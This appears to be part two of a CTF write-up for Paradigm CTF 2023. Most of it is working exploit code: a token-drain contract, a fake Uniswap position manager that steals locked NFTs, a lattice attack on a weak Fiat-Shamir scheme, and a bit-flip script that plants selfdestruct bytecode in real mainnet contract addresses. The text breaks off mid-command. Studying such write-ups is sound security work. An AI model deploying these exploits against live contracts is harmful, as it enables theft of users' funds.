Paradigm CTF 2023 Writeup 2/2

Category: Education
7 Nov 2023


Paradigm CTF 2023 Writeup 2/2

Make sure to go back and read 'Paradigm CTF 2023 Writeup 1/2' for the full writeup. 


GRAINS OF SAND

CHALLENGE: GRAINS OF SAND
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: At what point does it stop being a heap?

This challenge goal is to reduce the balance of the GoldReserve (XGR) token (0xC937f5027D47250Fa2Df8CbF21F6F88E98817845) by more than 11111e8 from the TokenStore contract. The challenge only provides us with the Challenge.sol as follows:

Challenge.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract Challenge {
    IERC20 private immutable TOKEN = IERC20(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);

    address private immutable TOKENSTORE = 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8;

    uint256 private immutable INITIAL_BALANCE;

    constructor() {
        INITIAL_BALANCE = TOKEN.balanceOf(TOKENSTORE);
    }

    function isSolved() external view returns (bool) {
        return INITIAL_BALANCE - TOKEN.balanceOf(TOKENSTORE) >= 11111e8;
    }
}

The TokenStore contract provides functionality to exchange the token by using a signature. So it should be easy to solve this challenge by trying to buy $XGR out of contract for more than 11111e8 tokens. Unfortunately, the Token.Store platform was shut down last year (https://twitter.com/TokenDotStore/status/1267588299243298816), so this means we have to find a valid sell signature that has not expired yet.

We have decided to find unexpired $XGR trades on Dune, by using the following SQL statement:

SELECT
  *
FROM
  tokenstore_ethereum.TokenStore_call_trade
WHERE
  _tokenGive = 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845
  AND _expires > CAST(18437825 AS uint256)

Two unexpired orders were found as follows:

contract_address,call_success,call_tx_hash,call_trace_address,call_block_time,call_block_number,_amount,_amountGet,_amountGive,_expires,_nonce,_r,_s,_tokenGet,_tokenGive,_user,_v
0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8,true,0x1483f5c6158dfb9a899b137ccfa988fb2b1f6927854dcd83e0a29caadd0e38ba,[],2019-08-24 14:26:41.000 UTC,8.413497e+06,4200000000000000,84000000000000000,200000000000,108142282,470903382,0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018,0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a,0x0000000000000000000000000000000000000000,0xc937f5027d47250fa2df8cbf21f6f88e98817845,0xa219fb3cfae449f6b5157c1200652cc13e9c9ea8,28
0x1ce7ae555139c5ef5a57cc8d814a867ee6ee33d8,true,0x6d727f761c7744bebf4a8773f5a06cd7af280dcda0b55c0995aea47d5570f1a1,[1],2020-06-14 05:25:14.000 UTC,1.0261947e+07,4246800000000000,42468000000000000,1000000000000,109997981,249363390,0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397,0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e,0x0000000000000000000000000000000000000000,0xc937f5027d47250fa2df8cbf21f6f88e98817845,0x6ffacaa9a9c6f8e7cd7d1c6830f9bc2a146cf10c,28

Then we calculated the unfilled balances and perform trades to get all available tokens by calling the instantTrade() function with cast.

cast send 0xe17dbb844ba602e189889d941d1297184ce63664 --rpc-url $rpc_url --private-key $priv_key --value 38374084800000000 "instantTrade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256,address)" -- 0x0000000000000000000000000000000000000000 42468000000000000 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 1000000000000 109997981 249363390 0x6FFacaa9A9c6f8e7CD7D1C6830f9bc2a146cF10C 28 0x2b80ada8a8d94ed393723df8d1b802e1f05e623830cf117e326b30b1780ae397 0x65397616af0ec4d25f828b25497c697c58b3dcc852259eaf7c72ff487ce76e1e 38221200000000000 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8

cast send 0xe17dbb844ba602e189889d941d1297184ce63664 --rpc-url $rpc_url --private-key $priv_key --value 80119200000000000 "instantTrade(address,uint256,address,uint256,uint256,uint256,address,uint8,bytes32,bytes32,uint256,address)" -- 0x0000000000000000000000000000000000000000 84000000000000000 0xC937f5027D47250Fa2Df8CbF21F6F88E98817845 200000000000 108142282 470903382 0xa219fb3cfae449f6b5157c1200652cc13e9c9ea8 28 0xf164a3e185694dadeb11a9e9e7371929675d2eb2a6e9daa4508e96bc81741018 0x314f3b6d5ce7c3f396604e87373fe4fe0a10bef597287d840b942e57595cb29a 79800000000000000 0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8

But the token has a fee on transfer, so we get only 1090218000000 $XGR, which is not enough to pass the challenge.

In this case, the Token.Store does not support the fee-on-transfer token, so we can repeatedly deposit and withdraw to drain the token from the contract. The following Attack contract is used to solved this challenge.

Attack.sol

pragma solidity ^0.8.0;

interface Token {
    function approve(address _spender, uint256 _value) external returns (bool success);
    function balanceOf(address _owner) external returns (uint256 balance);
}

interface TokenStore {
    function depositToken(address _token, uint _amount) external;
    function withdrawToken(address _token, uint _amount) external;
}

contract Attack {
    TokenStore ts = TokenStore(0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8);
    Token t = Token(0xC937f5027D47250Fa2Df8CbF21F6F88E98817845);

    function attack() external {
        t.approve(address(ts), type(uint).max);

        while (t.balanceOf(address(ts)) > 12849391142060) {
            uint256 curBalance = t.balanceOf(address(this));
            ts.depositToken(address(t), curBalance);
            ts.withdrawToken(address(t), curBalance);
        }
    }
}

We deployed the Attack contract and completed the challenge with the following command:

attack_addr=`forge create --rpc-url $rpc_url --private-key $priv_key -C . Attack.sol:Attack | grep Deployed | cut -f3 -d ' '`

my_addr=`cast wallet a $priv_key`

balance=`cast call $token_addr --rpc-url $rpc_url --private-key $priv_key "balanceOf(address)" -- $my_addr`

cast send $token_addr --rpc-url $rpc_url --private-key $priv_key "transfer(address,uint256)" -- $attack_addr $balance

cast send $attack_addr --rpc-url $rpc_url --private-key $priv_key "attack()"


TOKEN LOCKER

CHALLENGE: TOKEN LOCKER
AUTHOR: samczsun
TAGS: pwn
DESCRIPTION: If you’re launching a new token, you should use our (new and improved) secure liquidity locking contract so your users know you won’t rugpull!

To solve this challenge, you need to deplete the UniswapV3 Position NFT (0xC36442b4a4522E871399CD717aBDD847Ab11FE88) from the UNCX_ProofOfReservesV2_UniV3 contract (0x7f5C649856F900d15C83741f45AE46f5C6858234). From the challenge’s description, we found out that there are some modifications in the UNCX_ProofOfReservesV2_UniV3 contract, which should help us drain out the NFT from the contract.

Challenge.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "../lib/openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";

contract Challenge {
    address private immutable TARGET = 0x7f5C649856F900d15C83741f45AE46f5C6858234;
    IERC721 private immutable UNI_V3 = IERC721(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    function isSolved() external view returns (bool) {
        return UNI_V3.balanceOf(TARGET) == 0;
    }
}

In the UNCX_ProofOfReservesV2_UniV3 contract, the lock() function allows users to lock liquidity in this secure liquidity locking contract. It provides two options: users can either convert an NFT to full range and collect associated fees, which are then sent back to the collector, or they can use an existing position.

UNCX_ProofOfReservesV2_UniV3.sol

function lock(LockParams calldata params) external payable override nonReentrant returns (uint256) {
      require(params.owner != address(0));
      require(params.collectAddress != address(0), "COLLECT_ADDR");
      require(params.unlockDate < 1e10 || params.unlockDate == ETERNAL_LOCK, "MILLISECONDS"); // prevents errors when timestamp entered in milliseconds
      require(params.unlockDate > block.timestamp, "DATE PASSED");
      require(COUNTRY_LIST.countryIsValid(params.countryCode), "COUNTRY");
      FeeStruct memory fee;

      if (msg.sender == MIGRATE_IN) {
          fee.collectFee = abi.decode(params.r[0], (uint256));
      } else {
          if (params.r.length > 0) {
              fee = FEE_RESOLVER.useFee(params.r, msg.sender);
          } else {
              fee = getFee(params.feeName);
          }

          if (fee.flatFee > 0) {
              deductFlatFee(fee);
          }
      }

      params.nftPositionManager.safeTransferFrom(msg.sender, address(this), params.nft_id);

      Position memory position;
      (
          ,
          ,
          position.token0,
          position.token1,
          position.fee,
          position.tickLower,
          position.tickUpper,
          position.liquidity,
          ,
          ,
          ,
      ) = params.nftPositionManager.positions(params.nft_id);
      IUniswapV3Factory factory = IUniswapV3Factory(params.nftPositionManager.factory());
      address pool = factory.getPool(position.token0, position.token1, position.fee);
      int24 maxTick = tickSpacingToMaxTick(factory.feeAmountTickSpacing(position.fee));

      uint256 nftId;
      if (position.tickLower != -maxTick && position.tickUpper != maxTick) {
          // convert the position to full range by minting a new full range NFT
          nftId = _convertPositionToFullRange(
              params.nftPositionManager, params.nft_id, position, maxTick, params.dustRecipient
          );
      } else {
          nftId = params.nft_id;
          // collect fees for user to prevent being charged a fee on existing fees
          params.nftPositionManager.collect(
              INonfungiblePositionManager.CollectParams(
                  nftId, params.dustRecipient, type(uint128).max, type(uint128).max
              )
          );
      }

      // Take lp fee
      if (fee.lpFee > 0) {
          uint128 liquidity = _getLiquidity(params.nftPositionManager, nftId);
          params.nftPositionManager.decreaseLiquidity(
              INonfungiblePositionManager.DecreaseLiquidityParams(
                  nftId, uint128(liquidity * fee.lpFee / FEE_DENOMINATOR), 0, 0, block.timestamp
              )
          );
          params.nftPositionManager.collect(
              INonfungiblePositionManager.CollectParams(nftId, FEE_ADDR_LP, type(uint128).max, type(uint128).max)
          );
      }

      Lock memory newLock;
      newLock.lock_id = NONCE;
      newLock.nftPositionManager = params.nftPositionManager;
      newLock.pool = pool;
      newLock.nft_id = nftId;
      newLock.owner = params.owner;
      newLock.additionalCollector = params.additionalCollector;
      newLock.collectAddress = params.collectAddress;
      newLock.unlockDate = params.unlockDate;
      newLock.countryCode = params.countryCode;
      newLock.ucf = fee.collectFee;
      LOCKS[NONCE] = newLock;
      USER_LOCKS[params.owner].add(NONCE);
      NONCE++;

      emitLockEvent(newLock.lock_id);

      return newLock.lock_id;
  }

The _convertPositionToFullRange() function transforms a Uniswap V3 liquidity position into a full range position. It achieves this by decreasing the position’s liquidity, collecting associated fees, setting parameters for a new full range position, minting that new position, and burning the old one.

UNCX_ProofOfReservesV2_UniV3.sol

function _convertPositionToFullRange(
    INonfungiblePositionManager _nftPositionManager,
    uint256 _tokenId,
    Position memory _position,
    int24 _maxTick,
    address _dustRecipient
) private returns (uint256) {
    _nftPositionManager.decreaseLiquidity(
        INonfungiblePositionManager.DecreaseLiquidityParams(_tokenId, _position.liquidity, 0, 0, block.timestamp)
    );
    (uint256 collectedAmount0, uint256 collectedAmount1) = _nftPositionManager.collect(
        INonfungiblePositionManager.CollectParams(_tokenId, address(this), type(uint128).max, type(uint128).max)
    );

    INonfungiblePositionManager.MintParams memory mintParams =
        _setPartialMintParamsFromPosition(_nftPositionManager, _tokenId);

    mintParams.deadline = block.timestamp;
    mintParams.recipient = address(this);
    mintParams.tickLower = -_maxTick;
    mintParams.tickUpper = _maxTick;
    mintParams.amount0Desired = collectedAmount0;
    mintParams.amount1Desired = collectedAmount1;
    mintParams.amount0Min = 0;
    mintParams.amount1Min = 0;

    TransferHelper.safeApprove(mintParams.token0, address(_nftPositionManager), mintParams.amount0Desired);
    TransferHelper.safeApprove(mintParams.token1, address(_nftPositionManager), mintParams.amount1Desired);

    (uint256 newNftId,, uint256 mintedAmount0, uint256 mintedAmount1) = _nftPositionManager.mint(mintParams);

    _nftPositionManager.burn(_tokenId);

    // Refund the tokens which dont fit into full range liquidity
    if (collectedAmount0 > mintedAmount0) {
        TransferHelper.safeTransfer(mintParams.token0, _dustRecipient, collectedAmount0 - mintedAmount0);
    }
    if (collectedAmount1 > mintedAmount1) {
        TransferHelper.safeTransfer(mintParams.token1, _dustRecipient, collectedAmount1 - mintedAmount1);
    }
   

However, there is no input validation for the _nftPositionManager parameter, allowing an attacker to input a malicious _nftPositionManager contract. This could potentially make the UNCX_ProofOfReservesV2_UniV3 contract approve the token0 and token1 to the _nftPositionManager contract. The following lines grant permission to the Uniswap V3 _nftPositionManager contract to transfer specific token amounts of the token0 and token1.

TransferHelper.safeApprove(mintParams.token0, address(_nftPositionManager), mintParams.amount0Desired);
TransferHelper.safeApprove(mintParams.token1, address(_nftPositionManager), mintParams.amount1Desired);

But in this challenge, we have to drain the ERC721 out of the contract; (un)fortunately, the function signatures of ERC20.transferFrom() and ERC721.transferFrom() are the same. Which means if we can control both the mintParams.token0 and the mintParams.amount0Desired, we can arbitrary approve the NFT to our malicious NftPositionManager contract.

The mintParams.token0 and mintParams.token1 can be controlled by modifying the returns of the INonfungiblePositionManager.positions() function.

UNCX_ProofOfReservesV2_UniV3.sol

INonfungiblePositionManager.MintParams memory mintParams =
    _setPartialMintParamsFromPosition(_nftPositionManager, _tokenId);
function _setPartialMintParamsFromPosition(INonfungiblePositionManager _nftPositionManager, uint256 _tokenId)
    private
    view
    returns (INonfungiblePositionManager.MintParams memory)
{
    INonfungiblePositionManager.MintParams memory m;
    (,, m.token0, m.token1, m.fee,,,,,,,) = _nftPositionManager.positions(_tokenId);
    return m;
}

Additionally, in the original code, when the _convertPositionToFullRange() is executed, it assigns amount0Desired and amount1Desired values as follows:

mintParams.amount0Desired = IERC20(mintParams.token0).balanceOf(address(this));
mintParams.amount1Desired = IERC20(mintParams.token1).balanceOf(address(this));

But in our challenge, there are some changes where the amount0Desired and amount1Desired values are assigned from the _nftPositionManager.collect() function.

UNCX_ProofOfReservesV2_UniV3.sol

(uint256 collectedAmount0, uint256 collectedAmount1) = _nftPositionManager.collect(
    INonfungiblePositionManager.CollectParams(_tokenId, address(this), type(uint128).max, type(uint128).max)
);
mintParams.amount0Desired = collectedAmount0;
mintParams.amount1Desired = collectedAmount1;

This allows the attacker to control the mintParams.amount0Desired value by modifying the return value of _nftPositionManager.collect() to the tokenId of any NFT that UNCX_ProofOfReservesV2_UniV3 is holding.

As a result, the attacker can craft the malicious NftPositionManager contract to arbitrary approve UniswapV3 liquidity position NFTs in the UNCX_ProofOfReservesV2_UniV3 contract and transfer them out of the contract. We have to implement some function of the malicious NftPositionManager contract to make the exploit work as follows:

TokenLockerSolver.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.6.2 <0.9.0;

import "forge-std/Script.sol";
import "../src/UNCX_ProofOfReservesV2_UniV3.sol";

contract TokenLockerSolver is Script {

    function run() external {
        uint256 playerPrivateKey = uint256(YOUR_PRIVATE_KEY);
        address uniReserveAddress = address(0x7f5C649856F900d15C83741f45AE46f5C6858234);
        address nftPositionManagerAddress = address(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
        bytes[] memory r;
        UNCX_ProofOfReservesV2_UniV3 uniReserve = UNCX_ProofOfReservesV2_UniV3(uniReserveAddress);
        console.log("balanceOf:", INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress));

        vm.startBroadcast(playerPrivateKey);
        FakeNftPositionManager fpositionManager = new FakeNftPositionManager();

        uint256 times = INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress);
        for (uint256 i = 0; i < times; i++) {
            uint256 tokenId = INFT(nftPositionManagerAddress).tokenOfOwnerByIndex(uniReserveAddress, 0);
            console.log("tokenId[0]: ", tokenId);
            IUNCX_ProofOfReservesV2_UniV3.LockParams memory params = IUNCX_ProofOfReservesV2_UniV3.LockParams(
                INonfungiblePositionManager(address(fpositionManager)),
                tokenId,
                address(0xdead),
                address(0xdead),
                address(0xdead),
                address(0xdead),
                type(uint256).max,
                0,
                "DEFAULT",
                r 
            );
            uniReserve.lock(params);
        }

        vm.stopBroadcast();

        console.log("balanceOf:", INFT(nftPositionManagerAddress).balanceOf(uniReserveAddress));
    }

}

contract FakeNftPositionManager {
    address public factory = address(this);
    address nftPositionManagerAddress = address(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);
    address uniReserveAddress = address(0x7f5C649856F900d15C83741f45AE46f5C6858234);
    uint256 currentId;

    struct CollectParams {
        uint256 tokenId;
        address recipient;
        uint128 amount0Max;
        uint128 amount1Max;
    }
    struct DecreaseLiquidityParams {
        uint256 tokenId;
        uint128 liquidity;
        uint256 amount0Min;
        uint256 amount1Min;
        uint256 deadline;
    }

    function getPool(address,address,uint24) external view returns(address) {
        return address(this);
    }

    function feeAmountTickSpacing(uint24) external view returns (int24) {
        return 1;
    }
    function decreaseLiquidity(DecreaseLiquidityParams calldata params)
        external
        payable
        returns (uint256 amount0, uint256 amount1){}
    function positions(uint256 tokenId)
        external
        view
        returns (
            uint96 nonce,
            address operator,
            address token0,
            address token1,
            uint24 fee,
            int24 tickLower,
            int24 tickUpper,
            uint128 liquidity,
            uint256 feeGrowthInside0LastX128,
            uint256 feeGrowthInside1LastX128,
            uint128 tokensOwed0,
            uint128 tokensOwed1
        )
    {
        token0 = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;
    }
    
    function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1) {
        currentId = params.tokenId;
        return(params.tokenId, params.tokenId);
    }

    fallback () external {}

    struct MintParams {
        address token0;
        address token1;
        uint24 fee;
        int24 tickLower;
        int24 tickUpper;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
        address recipient;
        uint256 deadline;
    }

    function mint(MintParams calldata params)
        external
        payable
        returns (
            uint256 tokenId,
            uint128 liquidity,
            uint256 amount0,
            uint256 amount1
        ){
            amount0 = type(uint256).max;
            amount1 = type(uint256).max;
            INFT(nftPositionManagerAddress).transferFrom(uniReserveAddress, address(this), currentId);
        }
}


interface INFT {
  function balanceOf ( address owner ) external view returns ( uint256 );
  function tokenOfOwnerByIndex ( address owner, uint256 index ) external view returns ( uint256 );
  function transferFrom ( address from, address to, uint256 tokenId ) external;
}


OVEN

CHALLENGE: OVEN
AUTHOR: Cayden Liao (Zellic)
TAGS: pwn, cryptography
DESCRIPTION: Why do they call it an oven?

This challenge objective is to extract the flag from a random signature generated from the following Python code:

#!/usr/bin/env python3
from Crypto.Util.number import *
import random
import os
import hashlib

FLAG = os.getenv("FLAG", "PCTF{flag}").encode("utf8")
FLAG = bytes_to_long(FLAG[5:-1])
assert FLAG.bit_length() < 384

BITS = 1024


def xor(a, b):
    return bytes([i ^ j for i, j in zip(a, b)])


# This doesn't really matter right???
def custom_hash(n):
    state = b"\x00" * 16
    for i in range(len(n) // 16):
        state = xor(state, n[i : i + 16])

    for _ in range(5):
        state = hashlib.md5(state).digest()
        state = hashlib.sha1(state).digest()
        state = hashlib.sha256(state).digest()
        state = hashlib.sha512(state).digest() + hashlib.sha256(state).digest()

    value = bytes_to_long(state)

    return value


def fiat_shamir():
    p = getPrime(BITS)
    g = 2
    y = pow(g, FLAG, p)

    v = random.randint(2, 2**512)

    t = pow(g, v, p)
    c = custom_hash(long_to_bytes(g) + long_to_bytes(y) + long_to_bytes(t))
    r = (v - c * FLAG) % (p - 1)

    assert t == (pow(g, r, p) * pow(y, c, p)) % p

    return (t, r), (p, g, y)


while True:
    resp = input("[1] Get a random signature\n[2] Exit\nChoice: ")
    if "1" in resp:
        print()
        (t, r), (p, g, y) = fiat_shamir()
        print(f"t = {t}\nr = {r}")
        print()
        print(f"p = {p}\ng = {g}\ny = {y}")
        print()
    elif "2" in resp:
        print("Bye!")
        exit()

After some research, we found out that to solve this challenge, we have to break the weak fait-shamir algorithm. Luckily, we found a babyProof write-up that relates to this challenge.

To solve this challenge, first we wrote the Python script to gather data:

from pwn import *  # pwntools
from sympy import symbols, Eq, solve
from Crypto.Util.number import bytes_to_long, long_to_bytes
from sympy.ntheory.modular import solve_congruence
import json

def custom_hash(n):
    state = b"\x00" * 16
    for i in range(len(n) // 16):
        state = xor(state, n[i : i + 16])

    for _ in range(5):
        state = hashlib.md5(state).digest()
        state = hashlib.sha1(state).digest()
        state = hashlib.sha256(state).digest()
        state = hashlib.sha512(state).digest() + hashlib.sha256(state).digest()

    value = bytes_to_long(state)

    return value

def collect_equations(num_signatures=3):
    ps = []
    cs = []
    rs = []
    # Connect to the server
    conn = remote("oven.challenges.paradigm.xyz", 1337)

    for _ in range(num_signatures):
        conn.recvuntil(b"Choice: ")
        conn.sendline(b"1")
        conn.recvuntil(b"t = ")
        t = int(conn.recvline().strip())
        conn.recvuntil(b"r = ")
        r = int(conn.recvline().strip())

        conn.recvuntil(b"p = ")
        p = int(conn.recvline().strip())
        conn.recvuntil(b"g = ")
        g = int(conn.recvline().strip())
        conn.recvuntil(b"y = ")
        y = int(conn.recvline().strip())

        c = custom_hash(long_to_bytes(g) + long_to_bytes(y) + long_to_bytes(t))
        ps.append(p - 1)
        cs.append(c)
        rs.append(r)
    return ps,cs,rs

# Main routine that orchestrates the retrieval of the FLAG.
def main():
    num_signatures = 50  # Collecting multiple signatures helps create a solvable system of equations.
    ps,cs,rs = collect_equations(num_signatures)

    json.dump([ps, cs, rs], open("data", "w"))
    
if __name__ == "__main__":
    main()

After gathering sufficient data, we solved the HNP with the following script and got the flag:

# SageMath 9.1
import json
from Crypto.Util.number import long_to_bytes

ps, cs, rs = json.load(open("data", "r"))

# HNP
N = 50
M = matrix(ZZ, N+2, N+2)

# p1
#    p2
#       ...
#           pn
# c1 c2 ... cn  1
# r1 r2 ... rn    2^248
for i in range(N):
    M[i,i]  = ps[i] # pi
    M[-2,i] = cs[i] # ci
    M[-1,i] = rs[i] # ri
M[-2,-2] = 1
M[-1,-1] = 2^384

M_lll = M.LLL()

x = M_lll[0,-2]

print(long_to_bytes(x))


DROPPER

CHALLENGE: DROPPER
AUTHOR: samczsun
TAGS: koth
DESCRIPTION: How is anyone supposed to afford to do an airdrop in this market?

This is the first King of the Hill challenge, which will score each team based on how much gas it costs to airdrop tokens on the provided list. Since this is a gas optimization challenge, we wrote the Airdrop contract in Yul as shown as follows:

Airdrop.yul

object "Airdrop" {
    code {
        mstore(64, memoryguard(128))

        let _1 := allocate_unbounded()
        codecopy(_1, dataoffset("Airdrop_deployed"), datasize("Airdrop_deployed"))

        return(_1, datasize("Airdrop_deployed"))

        function allocate_unbounded() -> memPtr {
            memPtr := mload(64)
        }

    }
    object "Airdrop_deployed" {
        code {
            if eq(shr(224, calldataload(0)), 0xc1a38006) {
                for { let usr$i := 0 } lt(usr$i, 16) { usr$i := add(usr$i, 1) }
                {
                    pop(call(gas(), calldataload(add(add(0x24, calldataload(0x04)), mul(usr$i, 0x20))), calldataload(add(add(0x24, calldataload(0x24)), mul(usr$i, 0x20))), 0, 0, 0, 0))
                }
                return(0x00,0x00)
            }

            let usr$callData := mload(0x40)
            mstore(usr$callData, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
            mstore(add(usr$callData, 4), 0x96b38Ea8e24018680D9d6f22EDBA51Ebf64FB546)
            for { let usr$i := 0 } lt(usr$i, 16) { usr$i := add(usr$i, 1) }
            {
                calldatacopy(add(usr$callData, 36), add(add(0x24, calldataload(0x24)), mul(usr$i, 0x20)), 32)
                calldatacopy(add(usr$callData, 68), add(add(0x24, calldataload(0x44)), mul(usr$i, 0x20)), 32)
                pop(call(gas(), calldataload(0x04), 0, usr$callData, 0x64, 0, 0))
            }
            return(0x00,0x00)
        }
    }
}

After we deployed and airdropped tokens to the provided list, our team used a total gas of 1346986.

solc --optimize --strict-assembly Airdrop.yul --bin

cast send --rpc-url $rpc_url --private-key $priv_key --create 60808060405260b590816100118239f3fe600063c1a38006813560e01c146080576040516323b872dd60e01b81527396b38ea8e24018680d9d6f22edba51ebf64fb546600482015281906024918235838301604435946044850191600435945b601081106059578880f35b8060019160051b846020918282828b010187378b01018637898060648a828b5af15001604e565b602480359060043590835b601081106096578480f35b808580808060019560051b8780828c010135918a0101355af15001608b56

cast send $target_addr --rpc-url $rpc_url --private-key $priv_key "submit(address)" -- 0x8Ed6834Fcd37A2e8bF5f96A8DE931f4595AA38Fb
$ python3 -c 'print("clo9h6z7q01e4s619vilqpui0\n3")' | nc dropper.challenges.paradigm.xyz 1337
ticket? 1 - launch new instance
2 - kill instance
3 - submit score
action? submitting score 1346986
score successfully submitted (id=cloc26xan00x3s619ledpwq7c)


COSMIC RADIATION

CHALLENGE: COSMIC RADIATION
AUTHOR: samczsun
TAGS: koth
DESCRIPTION: Have you ever dreamed of hacking some of the biggest contracts in Ethereum? Luck is on your side

As described above, in this challenge, we have the ability to flip any bit in any contract on the Ethereum chain. With this power, we have created an efficient way to hack every contract by flipping the first 40 bits of any contract to the following instructions.

CALLER 33 00110011
SELFDESTRUCT FF 11111111
PUSH0 5F 01011111
PUSH0 5F 01011111
RETURN F3 11110011

These instructions will selfdestruct and transfer all ETH in the contract to the msg.sender. So let’s start hacking the decentralized world.

  1. Get the top-most richest addresses from https://etherscan.io/accounts.

  2. Prepare the payload bytecode.

    0011001111111111010111110101111111110011

    Get code from contracts and find bits to flip.

flip.py

import os
import subprocess

f = open("addr_list.txt", "r")
addr_list = f.readlines()

rpc_url="http://cosmic-radiation.challenges.paradigm.xyz:8545/0c47e64f-6ca9-4bcb-8f78-138b68e17b09/main"
target_bytes = int("33ff5f5ff3", 16)

def to_pos(binary):
    pos = 0
    count = 0
    out=''
    for b in binary:
        if b == "1":
            out+=f":{pos}"
        pos += 1
    return out

def gen_flip():
    flip_str = ''
    for addr in addr_list:
        addr = addr[:-1]
        x = subprocess.check_output(["cast","code", addr, '--rpc-url', rpc_url])
        
        b = int(str(x)[4:14], 16)
        xor = target_bytes ^ b
        pos = to_pos(f'{xor:0>40b}')
        flip_str += f'{addr}{pos},'
    
    print(flip_str)
    
gen_flip()
  1. Start instance and flip.

python3 -c 'print("clo9q5g8h07d5s619jp1i27nq\n1\n0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2:20703,0x00000000219ab540356cbb839cbe05303d7705fa:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8315177ab297ba92a06054ce80a67ed4dbd7ed3a:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xc61b9bb3a7a0767e3179713f3a5c7a9aedce193c:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x61edcdf5bb737adffe5043706e7c5bb1f1a56eea:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3bfc20f0b9afcace800d73d2191166ff16540258:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbeb5fc579115071764c7423a4f12edde41f106ed:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x220866b1a2219f40e72f5c628b65d54268ca3a9d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x78605df79524164911c144801f41e9811b7db73d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x8484ef722627bf18ca5ae6bcf031c23e6e922b30:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xafcd96e580138cfa2332c632e66308eacd45c5da:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0x32400084c286cf3e17e7b677ea9583e60a000324:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x49048044d57e1c92a77f79988d21fa8faf74e97e:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x7da82c7ab4771ff031b66538d2fb9b0b047f6cf9:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x0c23fc0ef06716d2f8ba19bc4bed56d045581f2d:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1db92e2eebc8e0c075a02bea49a2935bcd2dfcf4:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x376c3e5547c68bc26240d8dcc6729fff665a4448:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xa160cdab225685da1d56aa342ad8841c3b53f291:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3262f13a39efaca789ae58390441c9ed76bc658a:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xbddf00563c9abd25b576017f08c46982012f12be:5:7:8:9:14:17:18:22:25:26:28:32:33:36:37:38,0xbf4ed7b27f1d666546e30d74d50d173d20bca754:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xcafea112db32436c2390f5ec988f3adb96870627:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x3d9256ad37128e9f47b34a82e06e981719477c18:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x755cdba6ae4f479f7164792b318b2a06c759833b:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x1e143b2588705dfea63a17f2032ca123df995ce0:1:3:6:7:8:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0xae0ee0a63a2ce6baeeffe56e7714fb4efe48d419:1:3:6:7:9:10:11:12:13:14:15:18:19:20:21:22:23:27:28:29:30:31:32:34:39,0x111cff45948819988857bb